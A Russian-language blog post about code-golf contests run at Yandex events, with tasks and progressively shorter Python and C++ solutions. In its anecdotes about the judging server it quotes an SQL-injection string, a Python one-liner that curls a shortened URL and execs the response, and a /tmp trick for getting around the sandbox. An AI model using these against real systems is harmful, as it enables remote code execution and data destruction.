
Что такое код-гольф? Это соревнование, в котором надо решить задачу по программированию (как правило, несложную), используя наименьшее количество символов. Соревнование довольно известное. Можно поиграть, например, на одноимённом сайте, есть целая секция на CodinGame, иногда такие соревнования публикует kaggle, была такая секция на HackerRank (сейчас её я не нашёл).
Временами мы развлекаемся таким форматом. В какой-то момент на внутренних ивентах подняли свою платформу для соревнований, а потом она протекла и на внешние конференции. Наши задачи вы могли встретить, например, на Dev Day & Night и С++ Zero Cost Conf, сейчас мы проводим их в рамках Яндекс tech tour.
Но начнём с истоков. Так выглядела первая задача нашего самого первого код-гольфа (мы проводили его на внутреннем ивенте):
Новогодняя йолочка
Мы рисуем новогоднюю ёлочку высотой N. Известно, что N > 2.
Ёлочка состоит из N слоёв с нечётным количеством
символов * и основанием длиной 3.
Пример входных данных, подаваемых через stdin:
7
Ожидаемый ответ:
*
***
*****
*******
*********
***********
*************
***
В чём особенность таких задач? Низкий порог входа: решение можно написать с мобильника и оно будет занимать 10 строк. Но при этом есть большая сложность: чтобы избавиться от какого-то символа, в этом соревновании приходится идти на такие ухищрения, что мама не горюй. Некоторые конструкции очень неочевидные.
Какие короткие решения могут быть у этой задачи?
Я очень (!) рекомендую попробовать решить эту задачу самостоятельно, прежде чем смотреть готовые решения. Считается количество байтов. Переносы строк и пробелы тоже считаются.
Наивное решение (115)
n = int(input())
for i in range(n):
c = i * 2 + 1
print(' ' * (n - i) + '*' * c)
print(' ' * (n - 1) + '*' * 3)
Ставил просто как дефолтное решение, чтобы проверить, что задача решаемая.
Первый подход (91)
n=int(input())
print("\n".join([" "*(n-i)+'*'*(i*2+1)for i in range(n)]+[' '*(n-1)+'*'*3]))
Нечто подобное получается при первой попытке что-то уменьшить. Дальше надо думать.
Пробуем играться с синтаксисом (89)
n=int(input())
print(*[(n-i)*' '+'*'*(1+2*i) for i in range(n)],' '*(n-1)+'***',sep='\n')
Выводить можно массив, а в print передавать сепаратор.
Включаем голову (86)
p=print
a=int(input())
for i in range(a):p(' '*(a-i-1),'*'*(i*2+1))
p(' '*(a-2),'***')
Алиас для принта позволяет не писать \n.
Первая версия была вообще вот такой (88):
n,p,z,e=int(input()),print,'*',' '
for i in range(n):p(e*(n-i)+z*(2*i+1))
p(e*(n-1)+z*3)
Синтаксис + голова (83)
n=int(input())
def t(c):print((' '*(n-c)+'*'*(c*2+1)))
for i in range(n):t(i)
t(1)
Это в каком-то смысле более продвинутый алиас.
Дорабатываем предыдущую идею (78)
n=int(input())
def a(x):print(' '*(n-x)+(x*2+1)*'*')
set(map(a,range(n)))
a(1)
Вспоминаем про встроенную функцию map. Но map в Python ленивый, он не будет запускаться, пока его результатом не воспользуются.
n=int(input())
def a(x):print(' '*(n-x)+(x*2+1)*'*')
print(map(a,range(n))) # <map object at 0xf1c9b7eda9e0>
А значит, надо сунуть его аргументом в какую-то структуру данных. Самая короткая структура — set.
Развиваем идею (76)
n=int(input())
def a(x):print(' '*(n-x)+(x*2+1)*'*')
[*map(a,range(n))]
a(1)
На самом деле set не нужен: можно развернуть массив. Без структур данных.
Возвращаемся к истокам (71)
n=int(input())
for i in list(range(n))+[1]:print(' '*(n-i)+'*'*(2*i+1))
История закольцевалась. Алиас нужен был только для того, чтобы не писать одинаковый код для вывода ёлочки и нижнего «пенька». Но если в массив добавить цифру 1 в конец, то можно просто в цикле один раз написать код. Это ключевая идея.
Лучшее решение (66)
n=int(input())
for i in [*range(n),1]:print(' '*(n-i)+'*'*(2*i+1))
Тут мы иначе собираем итоговый массив и экономим аж пять символов.
Как говорил мой преподаватель по матстату, «”понял” и “просто” — это синонимы». Когда ты видишь новую идею в коде, она кажется очевидной. Но в реальности догадаться, как сократить код хотя бы на пару символов, непросто. Это может занять часы. Каждый додумывается до своего подмножества идей. А в разных задачах они ещё и разные.
Когда-то я думал, что это просто я тупой, но после нескольких проведённых соревнований до меня дошло: это нормальное положение дел. Найти лучшее решение сразу почти никогда не удаётся.
Но вернёмся к соревнованиям. Как код-гольф появился у нас? Как он стал соревновательной дисциплиной? Какие задачи решали?
История появления
Началось это дело, как и всё хорошее, просто по приколу. Яндекс (кто бы мог подумать?) часто проводит разного рода корпоративы и праздники. Но Яндекс, как большая компания, должен учитывать желания большого количества сотрудников. Поэтому праздники зачастую получаются «усреднёнными».
В какой-то момент у нас в Яндекс Доставке собралась критическая масса гиков и нердов (в чём разница, смотреть тут), и мы захотели сделать мегазадротскую супервечеринку. Дождались новогоднего фриза и устроили NerdFest. Каждый, кто мог, предложил что-то своё, и мы сделали из этого ивент. Активность стала приобретать масштаб, её заметили HR BP, помогли с организацией, едой и напитками.

Краткое описание ивента:
Шахматный турнир
Выставка механических клавиатур (каждый притащил свои, были даже древние IBM), а также любимых книжек по программированию
Двух- или даже трёхчасовая лекция о внутреннем устройстве синтезатора
Мастер-класс по игре в го
Чайная церемония
Настолки (ну куда же без них)
Фотосессия на полароид
Музыкальный уголок с виниловыми пластинками
Создание свечек, раскрашивание пряников (всё-таки новогодний фест)
Гадальная комната (тут не знаю, как прокомментировать)
Ну и код-гольф
Абсолютно точно я что-то упустил. Мы даже выпустили небольшой журнал (он называется по-хипстерски — зин) тиражом 200 экземпляров. У него вообще отдельная история развития, когда-нибудь расскажу.
(Не)много фоток














Так или иначе, мы отлично провели время. Но история не об этом мероприятии, а о код-гольфе. Для него я собрал небольшой наколеночный стендик на Flask, не заботясь о безопасности/корректности — просто для своих, чтобы можно было порешать задачки минут 30, уйти веселиться дальше и всё равно претендовать на приз (первые 3 места награждались призами). Как же я был наивен!

Соревнование нас просто разорвало... Каждый, кто хотел поучаствовать, думал: «Сейчас левой пяткой по клаве быстренько что-то набросаю и пойду дальше». О-о-о-о, мы даже не представляли, во что ввязались! Ты оптимизируешь решение, думаешь, что нашёл лучшее, что меньше уже нельзя, а потом смотришь на таблицу результатов — и такой: «ЧТО?!! КАК НА ТРИ СИМВОЛА МЕНЬШЕ?!! ЭТО НЕВОЗМОЖНО, ЭТО ЧИ-И-И-И-ИТ!!!!» И идёшь снова думать, где можно ещё выиграть пару символов.
Умнее всего поступил один коллега: он, отставая в общем зачёте, в первый час выдал решение задачи про ёлочку в 71 символ и пошёл играть в настолки. А мы 5 часов большим нердовским консилиумом пытались понять как. Лучшие решения, придуманные на месте, были 78+ символов (на дорешивании потом добрались до 69 и 66 символов, но это уже не считается).
Фото


Какие ещё задачи были на этом соревновании? Второй задачей была такая:
Обратный отсчет
В этой задаче нам нужно написать текст обратного отсчёта для Нового года.
На вход подаётся число N - количество дней до Нового года (20 > N > 1 ). Требуется в N строках ответа написать текст, сколько же дней осталось до Нового года, а в конце поздравить всех с Новым годом.
Пример входных данных, подаваемых через stdin:
6
Ожидаемый ответ:
До Нового года осталось 6 дней!
До Нового года осталось 5 дней!
До Нового года осталось 4 дня!
До Нового года осталось 3 дня!
До Нового года осталось 2 дня!
До Нового года остался 1 день!
С Новым годом!
Это задача на то, чтобы коротко написать кучу if’ов на окончания предложения. В этом основная сложность и хитрость этой задачи.
Наивное решение (325)
n = int(input())
for i in range(1,n+1)[::-1]:
if i > 4:
print(f'До нового года осталось {i} дней!')
elif i == 1:
print('До нового года остался 1 день!')
else:
print(f'До нового года осталось {i} дня!')
print('С Новым годом!')
Это самое простое решение, в котором точно можно что-то сократить: как минимум повторяющиеся строки.
Попытка сделать алиас (292)
n,p=int(input()),print
def d(n):
y=n%10
if n//10%10==1 or y>4:return 2
return 0 if y==1 else 1
for i in range(1,n+1)[::-1]:p('До Нового года остал%s %d %s!'%('ся' if d(i)==0 else 'ось',i,('день','дня','дней')[d(i)]))
p('С Новым годом!')
Тут мы пытаемся определить эту функцию и сформировать строчку через if’ы.
Убираем алиас (237)
k,p=int(input()),print
for n in range(k,0,-1):p('До Нового года остал'+(f'ось {n} дней' if n//10%10==1 or n%10>4 else f'ось {n} дня' if n%10!=1 else f'ся {n} день')+'!')
p('С Новым годом!')
Функция получается очень громоздкой, поэтому пытаемся всё засунуть в строчку.
Ну и ещё, развернуть массив можно так: range(1,n+1)[::-1], но лучше в range третьим аргументом указать −1.
Избавление от if’ов в строке (224)
a=print
b=range
k='До Нового года остал'
n=int(input())
for i in b(n,4,-1):a(k+f'ось {i} дней!')
for i in b(min(n,4),1,-1):a(k+f'ось {i} дня!')
a(k+'ся 1 день!\nС Новым годом!')
Оказывается, if’ы в предыдущем решении настолько длинны, что сделать два цикла может быть короче.
Другой вариант избавления от if’ов в строке (211)
n=int(input())
for i in range(n,0,-1):print('До Нового года остал'+"ось"*(i>1)+"ся"*(i==1),i,'д'+"ень"*(i==1)+"ня"*(i in[2,3,4])+"ней"*(i>4)+'!')
print('С Новым годом!')
Более эффективный способ избавления — вспомнить, что можно умножать на bool. Тогда false будет приравнено к 0, а true — к 1.
И ещё один вариант избавления от if’ов в строке (210)
n=int(input())
for i in range(n,0,-1):print('До Нового года остал'+"ось"*(i>1)+"ся"*(i==1),i,'д'+"ень"*(i==1)+"ня"*(i in[2,3,4])+"ней"*(i>4)+'!')
print('С Новым годом!')
А тут мы делаем примерно то же, но через массив: засовываем суффиксы в массив и кастим сравнение в число.
Эффективные if’ы (202)
p='До Нового года осталось '
n=int(input())
w=print
for i in range(n,1,-1):w(p+str(i)+(' дней!'if i>4 else' дня!'))
w(p[:-4]+'ся 1 день!')
w('С Новым годом!')
Тут остаются if’ы, но есть нюанс. Вариант с суффиксом для одного дня просто выносится в отдельный вызов, тогда if становится достаточно коротким.
Можно попробовать смиксовать с предыдущими идеями.
Эффективные if’ы v2 (196)
p='До Нового года осталось '
w=print
for i in range(int(input()),1,-1):w(p+str(i)+' дн'+('ей!'if i>4 else'я!'))
w(p[:-4]+'ся 1 день!')
w('С Новым годом!')
Это предыдущее решение, просто немного оптимизированное: нет переменной и вынесена общая часть с дн.
Вариация с индексами (192)
for i in range(int(input()),0,-1):print(f'До Нового года остал{"ось"*(i>1)or"ся"} {i} д{([0,"ень"]+["ня"]*3+["ней"]*99)[i]}!')
print('С Новым годом!')
Тут очень интересная мысль. Можно не делать массив правильных окончаний из трёх элементов и потом хитрой математикой получать индекс, а сразу сгенерировать 100 элементов массива и обращаться к нужным прямо по индексу.
Эффективный or (189)
for i in range(int(input()),0,-1):print(f'До Нового года остал{(i<2)*"ся"or"ось"} {i} д{(i<2)*"ень"or(i<5)*"ня"or"ней"}!')
print('С Новым годом!')
Тут оптимизация строится вокруг оператора or. Во-первых, у него очень низкий приоритет и его можно ставить возле математических операций.
(i<2)*"ень"or(i<5)*"ня"or"ней"
Во-вторых, он интересно работает: проверяет по очереди все свои аргументы, находит первый, который кастится к значению true, но возвращает не true, а сам исходный аргумент.
Ну и вишенка на торте: можно не ставить пробелы между оператором и кавычками. Очень изящное решение.
Решающая идея (186)
for i in range(int(input()),0,-1):print('До Нового года остал'+"оссяь"[i<2::2],i,f'д{"неннненяяяйь"[i*(i<5)::5]}!')
print('С Новым годом!')
В этом решении самое интересное вот это:
f'д{"неннненяяяйь"[i*(i<5)::5]}
Идея потом активно применялась в других задачах. Когда надо вывести или то или другое, вместо if-else короче писать в одну строку и читать через несколько символов. Например, когда надо выводить YES или NO, часто короче написать вот так:
'YNEOS'[i::2]
Тут при i=0 выведется YES, при i=1 выведется NO.
Помимо этого в исходном решении пару символов экономит то, что i передается не как часть форматированной строки, а как параметр функции print: i,f'д.
Лучшее решение (185)
p=print
for i in range(int(input()),0,-1):p('До Нового года остал'+"оссяь"[i<2::2],i,f'д{"неннненяяяйь"[i*(i<5)::5]}!')
p('С Новым годом!')
Предыдущее решение оказалось лучшим на соревновании. Но потом, когда мы собрались объединять свои идеи, выяснилось, что идею про alias для функции print этот автор не нашёл. Если добавить сюда ещё и эту идею, получаем на один символ меньше.
Лучшим это решение можно назвать только условно. Мы много раз находили «лучшее» решение, а потом кто-то умудрялся написать короче. Уверен, пользователи Хабра найдут решение ещё лучше. Только считайте байты, а не символы: в последнем решении 139 символов, но 185 байт за счёт кодировки.
Переходим к третьей задаче.
Переставлюн
На вход подаётся строка, состоящая из различных заглавных букв латинского алфавита ABCD...XYZ.
Необходимо написать следующую в лексикографическом порядке строку той же длины, состоящую из тех же букв.
Пример входных данных, подаваемых через stdin:
MYEARTH
Ожидаемый ответ:
MYEATHR
Что нужно знать об этой задаче? Она создавалась как задача, которую на С++ будет решить короче, чем на Python. Просто задача на знание функции std::next_permutation, которую для Python ещё пришлось бы написать.
NB: Решения прикладываю в том виде, в котором они были отправлены тогда. Через полгода мы нашли ещё несколько способов, которыми решение можно было бы сократить, об этом ниже.
Наивное решение на С++ (140)
#include <iostream>
#include <algorithm>
using namespace std;
int main() {string s;cin >> s;next_permutation(s.begin(), s.end());cout << s;}
Тут на одних только пробелах сэкономить можно символов 10.
Лучшее решение на python (133)
s=list(input())
i=j=len(s)-1
while i*s[i-1]>s[i]:i-=1
while s[j]<s[i-1]:j-=1
s[i-1],s[j]=s[j],s[i-1]
print(*s[:i]+s[i:][::-1],sep='')
Я понятия не имею, что тут происходит...
Убираем пробелы в наивном решении (133)
#include <algorithm>
#include <iostream>
int main(){std::string s;std::cin>>s;std::next_permutation(s.begin(),s.end());std::cout<<s;}
Но не все, в include они остались.
Играемся с заголовками (117)
#include<bits/stdc++.h>
int main(){std::string s;std::cin>>s;std::next_permutation(s.begin(),s.end());std::cout<<s;}
Есть заголовок, который, похоже, сделали специально для олимпиадников. «Один, чтобы править всеми».
Внезапно, ranges (109)
#include<bits/stdc++.h>
int main(){std::string s;std::cin>>s;std::ranges::next_permutation(s);std::cout<<s;}
Если использовать std::ranges, то надо передавать целиком контейнер, а не begin, end.
Замена строк (106)
#include<bits/stdc++.h>
int main(){char s[30];scanf("%s",s);std::next_permutation(s,s+strlen(s));puts(s);}
Храним строку в char, чтобы иметь более короткий способ добраться до указателей, а char ещё и короче выводить через puts.
Итоговое решение (102)
#include<bits/stdc++.h>
main(){char s[30];scanf("%s",s);std::next_permutation(s,s+strlen(s));puts(s);}
А вы знали, что у функции main возвращаемое значение — необязательное? Точнее, на clang это будет ошибка, а на gcc — всего лишь warning.
Вот такие получились задачи и идеи.
Практической пользы в решении таких задач немного. Да, знание приоритетов операций, но в рабочем коде я бы настаивал на явном расставлении скобок для наглядности. Да, новые интересные синтаксические конструкции, но я бы рекомендовал избегать их в продуктовом коде.
Но тут проявляются свои особенности. Вот ты сел и дошёл до решения, которое считаешь оптимальным, думаешь, что лучше уже нельзя. Но кто-то отсылает решение на три символа меньше. Тут у тебя голова начинает работать с какой-то утроенной силой в поисках того, чего ты не замечаешь. И так примерно 10 раз за несколько часов. Это очень сильно нагружает мозг!
Ну и самое главное, это оказалось ОЧЕНЬ ВЕСЕЛО.
Дорешивание
Что делают нерды, гики и прочие неадекваты в выходные после праздника? Правильно, дорешивают задачи. Как я уже сказал, решение на 66 символов было найдено уже на дорешивании.
Непосредственно на соревновании никто не пытался сайт сломать (зачем портить всем праздник?), однако после появились идеи как бы обойти систему. DDoS’ить никто не стал, но тот же коллега, который для задачи про ёлочку придумал самое короткое решение, догадался вот до такого эксплойта.

Из плюсов: оказалось, что вот такое решение не работает.
';drop table users;---

И на некоторое время про эту весёлую активность мы забыли... Забыли мы, но только не DevRel. Они прослышали, что была интересная кодинговая активность, и предложили добавить её как станцию на конференцию.
Dev Day & Night

Это масштабная конференция Городских сервисов Яндекса для разработчиков, продактов и аналитиков. Для неё пришлось серьёзно переделать сайт и поработать над задачами. Появился характерный черно-жёлтый стиль и некоторые приколюхи, поправлены баги.

Самое главное, на чём я настаивал и что в результате мы оставили: на сайте нет регистрации. Потому что лично меня раздражает на всех конференциях регистрация на активности (даже на квизы в несчастных телеграм-ботах) с вводом логина, почты, места и опыта работы, СНИЛСа и результатов флюорографии. Вместо этого сказал: «Это одноразовый сайт для одноразовой активности, я просто буду отсматривать всякую гадость, давайте не будем нагружать людей лишней тягомотиной».
В результате объявили (а в дальнейшем это перетекло на сайты других соревнований):
Регистрация необязательна — вводите любой никнейм. НО! Если вы претендуете на призы — в качестве никнейма указывайте свой ник в Telegram.
Поскольку это было первое использование такой активности, а сам формат был очень уязвим и оставался наколеночной поделкой, то я просто в реалтайме отсматривал все запросы и все попытки решения на предмет «шалостей». Спасибо всем участникам, таких не было. Ну кроме никнейма в стиле DROP users, но это не считается :)
К сожалению, у меня не осталось протокола внутреннего тестирования — когда мы сами прорешивали задачи. Я не помню, какие лучшие решения мы пробили сами, а публиковать чужие решения считаю неэтичным. Поэтому останется только решение третьей задачи, она оказалось довольно простой.
Но! Один из участников, Валерий Карпузов, сделал замечательный доклад, в котором описал некоторые полезные подходы для код-гольфа и продемонстрировал их на примере задач с Яндекс Dev Day & Night. Посмотрите запись: там очень подробно разобраны лучшие решения и общие идеи, которые пригодятся для код-гольфа.
День или ночь?
Вам дано время суток в формате HH:MM, например 16:23.
Если время в полуинтервале [07:00, 14:00), нужно вывести Day.
Если время в полуинтервале [02:00, 07:00), нужно вывести Night.
Если время в полуинтервале [14:00, 02:00), нужно вывести Dev Day&Night.
Ввод корректный, проверять его не надо.
Пример входных данных, подаваемых через stdin:
07:00
Ожидаемый ответ:
Day А мобилка ли?
На вход подаётся имя файла длиной до 40 символов: main.cpp.
По расширению файла понять, к какому треку он относится
Файлы .cpp, .py, .go относятся к backend.
Файлы .swift, .dart, .apk относятся к mobile.
Файлы .pdf, .docx, .pptx относятся к product.
Ввод корректный, проверять его не надо.
Пример входных данных, подаваемых через stdin:
my_mega_presentation.pptx
Ожидаемый ответ:
productШифрованный морзе
Дано сообщение из точек, тире и пробелов (на азбуке Морзе)
длиной не более 100 символов.
..- -..- -.-
Необходимо зашифровать это сообщение.
Заменить точки на тире и тире на точки.
--. .--. .-.Решение задачи «Шифрованный Морзе» (39)
print(input().translate({45:46,46:45}))
Тут всего две ключевые идеи: знать о существовании функции translate и писать символы числами. А, ещё input не хранить в переменной: как показывает практика, такое тоже не сразу в голову приходит.
Что еще интересного... Участники меня попросили оставить сайт доступным и после конференции, чтобы потом на досуге ещё порешать. И поскольку он был развёрнут на моей личной виртуалке, которую я поднял специально для соревнования, и на которой ничего секретного и полезного нет (убунта и убунта, вертится только сайт с код-гольфом и несколько моих позорных экспериментов с кодом), я оставил. Не прогадал: мероприятие было в апреле, но я вижу много отправленных решений и в июне, и даже в октябре!
По фидбэку — всё здорово, но были некоторые предложения по улучшению сервиса. Например, отправлять решение можно было только файлом. Очевидно: это плохо подходит для формата, где решение можно набросать с телефона в теории... Ну и задачи: Python оказался настолько гибким, что был лаконичнее любого другого языка, на котором можно решать задачи.
В остальном всем всё понравилось, люди получили удовольствие. Получив такой фидбэк, мы поняли, что формат интересный и стоит попробовать его на других конференциях.
Только надо чуть больше времени потратить не на прорешивание и отбор задач, а на системное администрирование. Вот такое решение проходить не должно (а оно проходит):
from subprocess import*;exec(getoutput('curl -sL clck.ru/3LZjyF'))
Тут сразу два эксплойта: запуск подпроцесса и доступ к сети.
Спустя какое-то время наши DevRel пришли со следующей конференцией, на которую эту активность можно добавить. Переделать всё «по-нормальному» к следующей конфе я уже не успевал (у меня ещё и работа есть, помимо написания код-гольфа, и не так много свободного времени, как может показаться), поэтому основной движок остался тем же. Но на конференции для разработчиков С++... Там же куча безопасников будет? Там точно попробуют похулиганить. Какие-то уязвимости надо полечить.
ВАЖНО! Текущий сервер оставлен со всеми уязвимостями (просто для истории). Если вы будете злоупотреблять ими — просто выключу его. Новые соревнования всё равно проводятся на других виртуалках. Вам пользы — ноль, а у людей не будет возможности задачи порешать.
С++ Zero Cost Conf
С++ Zero Cost Conf — одна из моих любимых конференций. Возникла идея сделать код-гольф — соревнование, которое традиционно проводится для скриптовых языков. Но провести его только для C++.
Это первый раз, когда активность была на конференции только для разработчиков. Внутри меня из долгой спячки расчехлился сисадмин: на виртуалке был создан специальный пользователь с минимумом прав, который не мог ничего менять, у него не было хомяка, он не мог ходить в сеть и т. п. Системные вызовы, немного подумав, таки оставил, но о причинах позже.
Ввод кода сделали прямо с сайта, чтобы не требовался текстовый редактор. Ну и некоторые другие минорные улучшения. Получилось как-то так.
Придумались некоторые задачи, погрумились, отфильтровались, и мы пошли их решать... А потом обычный рабочий процесс затормозился. Мы большой группой пропали: с головой окунулись в решение задач. Там есть куда копать, особенно в С++, где таким форматом не то чтобы увлекаются.
Само соревнование длилось больше 7 часов (подразумевалось, что можно что-то порешать, послушать доклад, понетворкаться и вернуться порешать что-то ещё). И его можно разделить на два этапа: чистое время (первые 5 часов) и грязное (остальное).
Покажу все три задачи с пошаговым приходом к лучшему решению. Рекомендую попробовать самостоятельно решить задачу, прежде чем читать готовые решения (они внутри, под спойлерами).
Cost of the number
Назовём стоимостью числа сумму всех цифр этого числа.
Например, для числа 123
стоимость будет 6 (1 + 2 + 3 = 6).
По заданному числу n, 0<=n<=1000000 напишите стоимость этого числа.
Вывод должен быть в виде одного числа.
Пример входных данных, подаваемых через stdin:
5123
Ожидаемый ответ:
11
Решения
Возьмём дефолтное «короткое» решение (99):
#include<iostream>
int main(){std::string s;std::cin>>s;int r=0;for(char c:s)r+=c-48;std::cout<<r;}
Немного его улучшим (нам не надо хранить строку, достаточно читать посимвольно) (85):
#include<iostream>
int main(){char c;int r=0;while(std::cin>>c)r+=c-48;std::cout<<r;}
Заметим, что у while() и for(;;) одинаковое количество символов, но если переиспользовать ; — во втором случае сэкономим один символ (84):
#include<iostream>
int main(){int r=0;for(char c;std::cin>>c;)r+=c-48;std::cout<<r;}
Следующая оптимизация довольно сложная, надо подумать.
У нас две переменные, а оптимизировать через for мы можем только одну, потому что они разного типа. А можем ли мы их привести к одному типу? Да, если будем читать не через std::cin, а через getchar(). int c; c = getchar().
Но тогда что делать с while? Мы не можем написать вот так, это будет бесконечный цикл:
#include<iostream>
int main(){int с,r=0;for(;c=getchar();)r+=c-48;std::cout<<r;}
Решение простое: давайте инвертируем c, а вместо вычитания 48 будем добавлять 49! Мы получим то же самое значение, но со знаком минус. Получаем такое решение (81):
#include<iostream>
int main(){int c,r=0;for(;c=~getchar();)r-=c+49;std::cout<<r;}
Дальше идут хаки. Возвращаемое значение у main() — штука обязательная для clang, но необязательная в gcc, будет только warning (77):
#include<iostream>
main(){int c,r=0;for(;c=~getchar();)r-=c+49;std::cout<<r;}
Если мы уберём инициализацию r, то ожидаемо получим неправильные ответы: с уровнем оптимизации O2 переменная не инициализируется. Если только она не объявлена в глобальном неймспейсе. Там она инициализируется. Экономим ещё пару символов (75):
#include<iostream>
int c,r;main(){for(;c=~getchar();)r-=c+49;std::cout<<r;}
Дальше давайте посмотрим на вывод. Ввод/вывод экономнее всего делать через std::cin и std::cout. Но тут у нас чтение уже через getchar по другим причинам. Если мы заменим вывод std::cout<<r; на printf("%d",r); — потеряем два символа. Но для такого вывода не нужен заголовок iostream, достаточно ios, а это экономит пять символов (72):
#include<ios>
int c,r;main(){for(;c=~getchar();)r-=c+49;printf("%d",r);}
Ну и финальный штрих: в gcc можно использовать для заголовков не include, а import (71):
#import<ios>
int c,r;main(){for(;c=~getchar();)r-=c+49;printf("%d",r);}
Это лучшее решение из известных нам.
Zero Count
Дано целое число n, 1<=n<=2000000000.
Нужно вывести количество нулевых битов
в двоичном представлении числа n.
Например, для числа 5 (101₂ в двоичной системе):
нулевых битов будет 1.
Для числа 10 (1010₂ в двоичной системе):
нулевых битов будет 2.
Для числа 15 (1111₂ в двоичной системе):
нулевых битов будет 0.
Ввод корректный, проверять его не надо.
Пример входных данных, подаваемых через stdin:
100500
Ожидаемый ответ:
11
Решения
Тут надо понять стартовую логику. Для решения задачи можно посчитать количество взведённых бит в инвертированном числе и вычесть из него количество ведущих нулей в числе.
Добавим туда то, что существует чисто олимпиадный заголовок #include<bits/stdc++.h> , а также сразу применим стартовые оптимизации типа отсутствия возвращаемого значения и импорта. Получаем что-то типа вот такого стартового решения (107):
#import<bits/stdc++.h>
main(){int n;std::cin>>n;std::cout<<(~std::bitset<32>(n)).count()-__builtin_clz(n);}
Как будто это лучшее, что можно получить встроенными функциями. Попробуем создать решение, которое считает данные «по-честному» (84):
#import<iostream>
main(){int c,s=0;std::cin>>c;while(c){s+=~c&1;c/=2;}std::cout<<s;}
Ну и дальше по очереди применяем всё те же оптимизации, что и раньше. Объявляем переменные в глобальной области видимости (82):
#import<iostream>
int c,s;main(){std::cin>>c;while(c){s+=~c&1;c/=2;}std::cout<<s;}
Дальше используем for вместо while (78):
#import<iostream>
int c,s;main(){for(std::cin>>c;c;c/=2)s+=~c&1;std::cout<<s;}
В промежуточных решениях были и другие интересные идеи, которые не вошли в финальный результат. Например, какие-то переменные можно объявлять внутри аргументов main(). Ещё циклы while и for постоянно менялись. Ну и всякое разное.
Conference script
Для одного из прошлых докладов Zero Cost Conf
нейросеть сгенерировала транскрипт.
В единственной строке входного потока stdin
находится автогенерированный транскрипт доклада.
Транскрипт состоит из слов, разделённых пробелами
(без знаков препинания).
Нужно вывести количество уникальных слов,
использованных в этом транскрипте с учётом регистра
(слово "a" и "A" считаются разными словами).
Вывод должен быть в виде одного числа.
Пример входных данных, подаваемых через stdin:
В докладе рассматривается реализация обходов произвольных графов
в различной нумерации Post Ordering Reverse Post Ordering,
а также поиска в графе сильно связных компонент
для дальнейшего обхода отдельных компонент.
Ожидаемый ответ:
24
Решения
Итак, в этой задаче нужно посчитать количество уникальных слов в строке. Их можно считать вручную, но это не приводит к лучшему решению.
Лучшее же решение базируется (внезапно) на знании о существовании std::istream_iterator. Задача собственно и создавалась вокруг этого факта. Этому итератору можно скормить std::cin в конструктор, чтобы читать из стандартного ввода, а в качестве end итератора используется итератор, созданный дефолтным конструктором.
Возьмём за базовое решение вот это (154):
#import<bits/stdc++.h>
main(){std::cout<<std::set<std::string>(std::istream_iterator<std::string>(std::cin),std::istream_iterator<std::string>{}).size();}
Много, да. Но давайте подумаем, что тут можно сократить и что нельзя. В using namespace std; ровно 20 символов. Имеет смысл его использовать, если мы хотя бы 4 раза используем std::. Мы используем (и не можем не использовать тут) как минимум cout, cin, set, string. Если мы ещё хотим использовать какие-то итераторы, стоит внедрить using (134):
#import<bits/stdc++.h>
using namespace std;main(){cout<<set<string>(istream_iterator<string>(cin),istream_iterator<string>{}).size();}
Дальше: шаблонный тип в set можно не указывать, а задедьюсить из аргументов (126):
#import<bits/stdc++.h>
using namespace std;main(){cout<<set(istream_iterator<string>(cin),istream_iterator<string>{}).size();}
Дальше: тип второго аргумента в конструкторе тоже дедьюсится из типа первого аргумента. Его можно заменить просто на {}. Получим (102):
#import<bits/stdc++.h>
using namespace std;main(){cout<<set(istream_iterator<string>(cin),{}).size();}
Ну и финальный штрих: если использовать std::size вместо .size(), то мы сэкономим один символ на точке (101):
#import<bits/stdc++.h>
using namespace std;main(){cout<<size(set(istream_iterator<string>(cin),{}));}
Получаем «лучшее» решение.
И вот за первые 5 часов до лучших решений по всем задачам оставалось 2-3 символа — причём все решения были от разных участников. Большую часть соревнования в каждой из задач был свой лидер, а в общем зачёте побеждал кто-то ещё, несмотря на то что не нашёл лучшее решение ни по одной из задач. Это было здорово: в каждой задаче — разные лидеры. Значит, любой человек (в теории), придумав более короткое решение, может выбиться в лидеры и получить приз. Соревнование оставалось соревнованием до самого конца.
Пример состояния турнирной таблицы на пятый час соревнования
Ник cadovvl и производные от него — мой, его можно не считать. Каждые два часа я закидывал (под разными никами, чтобы не попасть в топ лидеров) решение на пару символов короче лучшего, чтобы показать участникам: есть смысл бороться и оптимизировать дальше.

Но вот дальше произошёл перелом.
Вторая часть соревнования C++ Zero Cost Conf
На шестом часу соревнования был пробит один грязный хак, который мы тоже нашли, но потом решили его оставить и признать легальным (засчитывать такие решения). Нашли мы его (как и участники) на третьей задаче. Вот так выглядит наше решение с грязным хаком:
Решение Conference script
#import<ios>
main(){system("tr ' ' '\n'|sort -u|wc -l");}
Используем системный вызов и запускаем bash-скрипт. Если вызов вместе со скриптом короче, чем голая программа на С++ — это лучше.
Например, тут 57 символов. Против 101 в оригинальном решении. Да, до такого bash-скрипта тоже доходишь не сразу, но этот пример показывает потенциал!
Разумеется, стартовое решение было больше даже с использованием хака, но до такого решения участники тоже дошли. А по другим задачам даже сделали через тот же хак решения лучше, чем мы на внутреннем тестировании (оно длилось намного больше 8 часов).
Мы этот хак не стали блокировать из следующих соображений: это может дать вторую жизнь соревнованию. Довольно быстро код-гольф становится борьбой за 1–2 символа. Скачки — максимум по 4. Когда первый участник находит решение на 20 символов меньше лидера, внезапно все (!) понимают, что есть качественно лучшее решение. И в течение получаса ещё пять человек пробивают этот хак — начинается второй раунд борьбы: кто лучше этот хак заобузит. А это не волшебная пилюля, там тоже есть где развернуться и что оптимизировать — свой код-гольф внутри код-гольфа. Соревнование получило второе дыхание, и это было очень весело.
Ещё из интересного: один из участников нашёл решение, которое является неверным, но проходит все тесты. Ему выдали маленький приз, а мы сами на лету докидывали тесты в тестирующую систему, чтобы больше такие решения не проходили.
Дорешивание C++Zero Cost Conf
Был ещё один хак, который мы нашли, но я не успел нормально настроить систему для его блокировки. Если бы кто-то пробил этот хак, мы бы его не засчитали, но никто на соревновании не догадался такое использовать.
Суть в следующем: все программы запускаются из-под ничтожного пользователя, у которого нет почти никаких прав, которому запрещён поход в сеть, у которого нет хомяка и т. п. Но я не стал делать chroot для каждого запуска (ну не сисадмин я, моя работа — буковки в правильном порядке набирать, а там была какая-то сложная ошибка, я не успевал толком разобраться и побоялся сломать то, что уже есть ¯\_(ツ)_/¯).
Что это даёт? Мы не можем менять, читать, создавать файлы... Нигде, кроме /tmp.
Теперь давайте отправим не одно, а два (!) решения. Первое решение будет неправильным (!!). Это означает, что оно не пройдёт ни одного теста. Но нам важно, что оно хотя бы один раз запустится, тогда мы сможем записать правильное решение (!!!) в файл в /tmp.
